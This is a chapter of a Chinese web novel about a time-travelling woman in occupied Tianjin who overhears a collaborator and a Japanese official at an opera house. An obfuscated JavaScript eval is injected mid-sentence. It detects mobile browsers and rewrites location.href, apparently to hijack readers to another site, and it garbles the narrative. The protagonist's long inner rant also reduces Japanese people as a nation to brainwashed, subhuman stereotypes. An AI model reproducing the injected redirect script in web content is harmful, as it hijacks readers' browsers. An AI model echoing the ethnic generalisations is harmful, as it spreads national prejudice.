246. 第 246 章
作品:《民国雷罚录:从24岁到6岁的血色纪年》 黑衣的伪警察在路口设了卡子,粗声大气地盘问着过往的行人,偶尔传来推搡和呵斥声。
林卓微微皱眉,不动声色地观察了一下,选择了一条需要绕点远,但是只有伪警察把守的侧路。
她挺直背脊,步履从容地走了过去。
“站住!干什么的?”一个伪警察斜着眼打量她。
林卓淡漠地从布包里拿出证件,递了过去,脸上也没啥表情,只平静地说:“你好,医院护士。”
那伪警察翻看着证件,目光在她脸上逡巡,不阴不阳地压低声音:“最近严查‘不安定因素’。你一个外地回来的,眼睛放亮些,别跟‘破坏亲善’的事儿沾边,听见没?”
他话里的暗示赤裸又险恶。林卓面上波澜不惊,只微微颔首,冷淡地说:“我只是个护士,只管救死扶伤。”
或许是证件上的洋文医院名头起了作用,伪警察不耐烦地挥挥手:“走吧走吧!”
“谢谢。”林卓淡漠地收回证件,平静地走进了英租界。
她有些茫然地慢慢溜达着,脑子却在“破坏亲善”上打转。家里进了野猪,它要吃你的人,占你的地,反抗就叫“破坏亲善”?
林卓鼻子冷哼了一声,心里却止不住地悲凉,想起胡掌柜、于嫂、陈医生,还有栓柱、小贩,再想想游击队,昨天就在战场上以命相搏。
她恍惚地看着眼前这英租界里熙熙攘攘的人群,她亲爱的同志呀,他们看不见后世马路上的霓虹灯,看不见那奔跑嬉戏孩子的身影,也看不见航母在大海里远航……
可没有他们,就没有这一切——
想到这些,她的心像被插了一把刀,在翻动着刀尖,绞得她痛不可挡,腹中也突然开始绞痛,她忍不住原地蹲下,抱着肚子,眼泪噼里啪啦地掉在柏油路上,很快浸湿了一小片。
视线越来越模糊,眼前一阵阵发黑,手脚冰凉,头皮发麻,突然她就冷得受不了,不由得打个哆嗦。
她用力地攥了攥手,又感觉手心开始发烫,体温急速升高,浑身忽地冒出一身的大汗。
林卓脑中响起了警铃,糟糕,这个状态,是大黄的药发作了,还是?又好像是重度低血糖。
她张着一瞬间就干巴巴的嘴,一股烘焙焦香的苦涩气味,若有若无地飘过她的鼻尖。
林卓抬头,摇晃着站了起来,几乎是下意识地循着那气味找了过去。街角处,一家挂着“VictoriaCafé”英文招牌的咖啡馆静静地立在那里。
这个味道啊,仿佛一瞬间,她又回到了那个格子间里,手边永远放着一杯冒着热气的黑咖啡,那是她每一个忙碌早晨的开端,一股酸楚又涌上了本就糟乱的心。
她眨下潮湿的眼睛,白着一张脸推开了咖啡馆沉重的玻璃门。
铃铛轻响,一股混合着咖啡焦香和甜点气味的热浪裹住了她。
穿着雪白围裙、头发抹得油亮的侍者无声地滑过来,递上硬纸菜单。林卓扫了一眼,点了一份火腿三明治一个奶油栗子粉加一杯黑咖啡。
“一共七角五分,女士。”侍者语气礼貌,带着程式化的微笑。
这个价格?她下意识地换算了一下——顿时心里一疼,连身体的不舒服都减轻了,这一顿够她吃半个月的油条了。
虽然肉疼,面上却不显,依旧从容地将钱数出来,放在侍者端着的深色托盘里。
找个靠窗的位置坐好。掏出手绢,擦擦脸上的汗,再擦擦手,身体状态好多了,心里默默分析:这么快速地转好,确实是低血糖,不是药的问题。
但是,自己突然就变色了这个事,应该确实跟大黄的药有关,按理说,吃了那大补药会低血糖吗?也是有可能,药补的又不是糖分,甚至可能自己的代谢都变快了,更容易消耗,才总感觉饿,才会低血糖。
她乱七八糟地猜着,眼睛扫着窗外,这租界的柏油路上,汽车和黄包车交错而行,衣着体面的男男女女步履悠闲。
这个景象,与刚才华界路口那明晃晃的刺刀、伪警察的呵斥,仿佛是两个割裂的世界。
她默默地看着,心里竟然诡异得平静,仿佛刚才的心痛、不适,都是幻觉。
侍者送来了奶油栗子羹、咖啡和三明治。她快速地吃了三明治,给肚子垫垫底,感觉好多了,端起那只精致的白色瓷杯,先闻了闻,皱眉,不好,油脂没出来,磨得粗,凑到唇边喝了一口,不好,炒过了火了,全是苦味。
算了,这个年代,这玩意算是标准的舶来品,此时的物流的速度是保证不了新鲜的,也在预料之内吧。
她其实算不上多爱咖啡。只是在那个回不去的现代,工作日的清晨,一杯黑咖啡加几块苏打饼干,是雷打不动的标配,这个没有时间成本。
泡得也是咖啡粉,一是为了提神祛水肿,二是确实能抑制胃口,她一上午都不会饿。中午再好好吃一顿,两点多再泡杯茶,这一天的时间都精神抖擞的,绝不会困,效率也是杠杠的。
她一边怀念起自己的上班时光,一边几口就喝了咖啡,再吃了奶油栗子粉。
咂咂嘴,是不饿了,可也没饱的感觉,看着窗外,有点后悔来这怀旧了,还是怀的后世的旧,还花了冤枉钱,还没吃好。
没有,当时是需要吃甜的,她脑中又上演了一出戏,两个小人打架,一个后悔,一个辩解,出了咖啡馆,
带着点没吃满足的郁闷,她打量着街道。
果然,在前方一间衣帽店门口,看见大黄那毛茸茸的身影了。
它正端坐在一块上马石上,阳光把它浑身的毛发染成了一圈金边。
它正专心地舔着爪子,又慢条斯理地洗了把脸,然后抬起大猫头,看向林卓,大眼睛闪过一丝不耐烦。
一副“看啥?还不过来”的模样。
林卓看见大黄,心里安稳了,快步走过去,先摸摸大猫头,大黄甩了甩尾巴尖。
“你玩够啦?”林卓心里的那点郁闷顿时散了不少,轻笑着说:“走吧,带你去看戏。你知道哪儿有戏园子吗?”
大黄闻言,立刻跳下石头,用它那毛茸茸的大尾巴扫了一下林卓的小腿,然后便迈着优雅的猫步,不紧不慢地走在了前面。
林卓笑眯眯地跟上。她也不清楚天津的戏院都在哪儿,但跟着大黄走就行了,这家伙,别的不敢说,对于哪里有好玩的、好看的,恐怕比大多数老天津卫都门儿清。
果然,大黄带着她在纵横交错的街巷里七拐八绕,不过一刻钟的功夫,前方一处热闹的街口,一座挂着“下天仙”匾额的戏园子便出现在了眼前,看着门脸很气派,里面已然传出了开场前的锣鼓点儿与喧哗的人声。
林卓买了票,买了些小吃就进去了,特意要了包间,大黄不能在散座。
台上正唱得热闹,林卓也不懂是啥戏,反正看就是了。
那武生抡着棍,矫健利落,引得台下满堂喝彩。
一会又出来个绿衣服的大花脸,和武生打得难分难解。
林卓抓了把瓜子,边嗑边看边猜剧情,看了半天,也不知道这戏叫啥名。
但也看得津津有味,还不忘给蹲在旁边专用软垫上的大黄剥花生仁。
大黄更是看得目不转睛,一双金色瞳孔随着台上演员的翻扑跌打而左右移动,尾巴尖有节奏地轻轻敲打着软垫,喉咙里发出满足的“咕噜”声。
一出戏唱完,台下叫好声如雷。大黄也兴奋地“喵”了一声,用大脑袋蹭林卓的手,林卓赶紧送上抓痒服务。
务必要让城隍爷享受最好的服务,她一边摸着光滑的毛毛,一边嘴也不闲着。
一人一猫又吃又看,好不惬意。一出戏结束,又接了一出戏。
戏台上锣鼓声暂歇,进入了文戏段落。
丝竹悠扬,却没压住隔壁包间传来的议论声。
里面有四五位商界人士,却坐得泾渭分明,其中一位胖商人呷了口茶,对着主位上的日本侨民和几位同伴,闲聊风雅:“坂田先生,您瞧这出《挑滑车》,高宠明知是死,也要单枪匹马闯那金兵大阵。咱们老祖宗戏文里,也讲这个‘忠勇’二字,可惜啊……”他拖长了调子,摇了摇头。
“可惜什么?”旁边有人捧哏。
“可惜后世子孙不肖,把这‘忠勇’都快唱成虚文了。”
胖商人叹息,“反观东瀛,将这等精神化入骨血,名曰‘武士道’。尤其那‘玉碎’之决绝,如樱花离枝,不染尘垢,方是真正的‘刹那芳华’,把悲剧都演成了美学。相较之下,咱们这戏文,倒显得……过于直白。”
胖商人王老板叹息一声,随即像是想起什么,压低了些声音,对坂田说道:“说到咱们这儿的事,近来也有些可笑。坂田先生您看前几天的《大公报》了吗?那个苏文瀚,居然登报要搞什么‘华北民生赈济基金会’,口气大得很呐。”
他嗤笑了一声,摇了摇头:“这兵荒马乱的年月,他自己那摊子买卖都快顾不过来了,还学人搞慈善、当善人?依鄙人浅见,这无非是‘沽名钓誉’,想借这名头,在乱世里换个‘护身符’罢了。不过,这步棋走得险呐,一个不好,只怕是引火烧身。坂田先生您说是不是?”
那日本侨民坂田嘴角含着一丝若有若无的笑意,微微颔首:“王桑,见解独到。”他指尖轻轻敲击着桌面,仿佛在应和台上的鼓点。
“贵国的戏文,讲究一个‘忠义’,却总困于人情世故,少了几分超脱生死的‘纯粹’。而我大和之‘武士道’,追求的正是这种‘物哀’之美,于刹那的奉献中,照见生命的永恒价值。境界……终究是不同的。”。
他用杯盖轻轻拨弄着浮沫,语气带着一丝冷意:“苏文瀚……一个商人,不安分于商事,却要扛起‘民生’的大旗。这背后,恐怕不只是‘沽名钓誉’那么简单。”
他抬起眼皮,目光扫过戏台,仿佛意有所指:“这出戏,台上唱的是‘忠勇’,台下唱的,可就未必了。有些人,总想在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740680|176233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这种时候当‘主角’,却看不清真正的‘大势’所在。帝国方面,对于华北任何‘不稳定’的苗头,都是很关注的。”
“咔嚓。”
林卓指尖捏着的瓜子壳碎了。
心里仿佛有个火药桶“腾”一下被点着了,一股怒火直冲天灵盖。
她鄙夷地扯扯嘴角,脑海里已经有小人跳着脚大骂:我呸!关注你奶奶个头,还‘刹那、物哀之美’?狗屁!真会往脸上贴金!把活人送去当炮灰,再包装成樱花凋谢,不就是国家级的‘道德绑架’‘美学诈骗’嘛!
可怜的东西,被儒家文化浸润了也有上千年了吧,不过几十年的‘神道教’洗脑,就立马返祖了。
呵!这个国家本质上就他妈是个大型PUA现场!从小洗脑,绝对服从那个狗屁‘现人神’,谁敢不信?法律和周围人的拳头等着你,直接让你‘物理性玉碎’,剩下的可不就只能哭着歌颂这‘美’了?要不然估计自己都得自杀,只能不停地自我PUA,自我工具化。
林卓捏碎一颗花生放嘴里,狠狠地嚼着,仿佛那是鬼子的肉,心里继续大骂:大傻×,让那狗屁天皇把一国的人驯化的成只知道‘忠君’的工具人,民族特性就他妈的听不懂人话,平等交往他就看不起你,只认得拳头的逻辑——见面先给俩耳光,再棒棒给两拳,他立马进入舒适区,能听懂人话了。
就这,还自豪得不行呢,还自称神族。呵!真以为造孽没天谴吗?等着吧,再有十年,历史会给你们这反人类的‘神族’梦判死刑的!
她心里骂了一大通,还没解气,一把抄起茶杯想喝口水压压火,却发现手都有些微微发抖。
她只能紧攥着杯子,感觉自己又饿了,完了,刚吃完,这是又要低血糖?
她连忙长长地吐气,专心吃东西,还一边安慰自己,不气,不气,反正他们也就蹦跶十年的时间。
而且在现代,他们也好不到哪去。
她咔嚓咔嚓地捏花生,一边琢磨日本的‘军国主义’,真是纯靠PUA,就把“忠诚”与“愚昧”捆绑得登峰造极,而且至今都未解绑,只不过更隐蔽罢了。
你说他可怜吗?地理环境恶劣,面积小、无纵深,天然的民族视野就小,生存焦虑,又被那个‘现人神’驯化成了工具人,思想、心灵被牢牢捆绑着,战败后,本有机会一举解放的,可因为老美的私欲‘作祟’……
嘿……这就是报应吧!
蹲在她旁边软垫上的大黄,敏感地抬起头,金色的瞳孔里闪过一丝疑惑。
它抽抽小鼻子,朝林卓的方向嗅了嗅,喉咙里发出极轻的:“喵?”仿佛在问:“你怎么突然气得像只炸毛的猫?”
林卓伸过头,和大黄顶顶脑袋,示意无事。
就在这时,戏园子入口处传来一阵小小的骚动。
众人循声望去,只见一个穿着日本浪人服饰、腰间别着短刀的男子,醉醺醺地闯了进来,差点撞翻门口卖烟卷的小贩的篮子。他嘴里叽里咕噜地骂着,显然是喝多了。
戏园的掌柜的连忙点头哈腰地迎上去,试图安抚。
坂田先生的脸色瞬间沉了下来,用日语低斥:“无礼者!丢尽了帝国的脸面!”
他身后那名一直沉默寡言、穿着考究西装的随从——之前看起来像个人形背景——立刻动了。他几步上前,面对那比自己高大不少的浪人,没有任何言语,只有精准、迅速、带着风声的——
“啪!啪!”
两记耳光,清脆响亮,盖过了台上的胡琴。
浪人被打得偏过头去,酒醒了大半,脸上瞬间浮现红痕。他非但没有反抗,反而立刻深深鞠躬,嘴里不断念着道歉的话,然后几乎是手脚并用地退了出去,消失在门外。
西装随从整理了一下自己纹丝不乱的袖口,转回身,对着坂田和王商人等人,又是一个无可挑剔的、带着谦卑意味的躬身,脸上恢复了那种训练有素的、毫无波澜的表情。
戏园里短暂的寂静被重新响起的锣鼓打破。
王商人仿佛为了缓和气氛,笑着对坂田奉承道:“先生麾下,真是令行禁止,纪律严明,佩服,佩服。”
坂田淡然一笑,仿佛刚才只是拂去了一粒尘埃,语气轻快地说:“根性(Konjō)不同罢了。”
这句话声音很轻,却像一把淬了毒的匕首呀。
林卓讥讽地扯起嘴角,眼神如冰。
根性……本性?
呵!你咋不说基因呢,不就是纳粹的“种族优越论”嘛。
不就是极端服从文化嘛。在强者面前是羔羊,在弱者前就变豺狼,把正常的人性、理性都磨没了,眼里自然就只剩下‘拳头大就是爷’的逻辑。
她再也坐不住了。这里的空气让她恶心。
猛地起身,把桌上的瓜子,花生全都包好。再一把捞起还在懵懂看戏的大黄,紧紧抱在怀里,仿佛要从这毛茸茸的温暖里汲取一点力量,然后头也不回地快步向外走去。

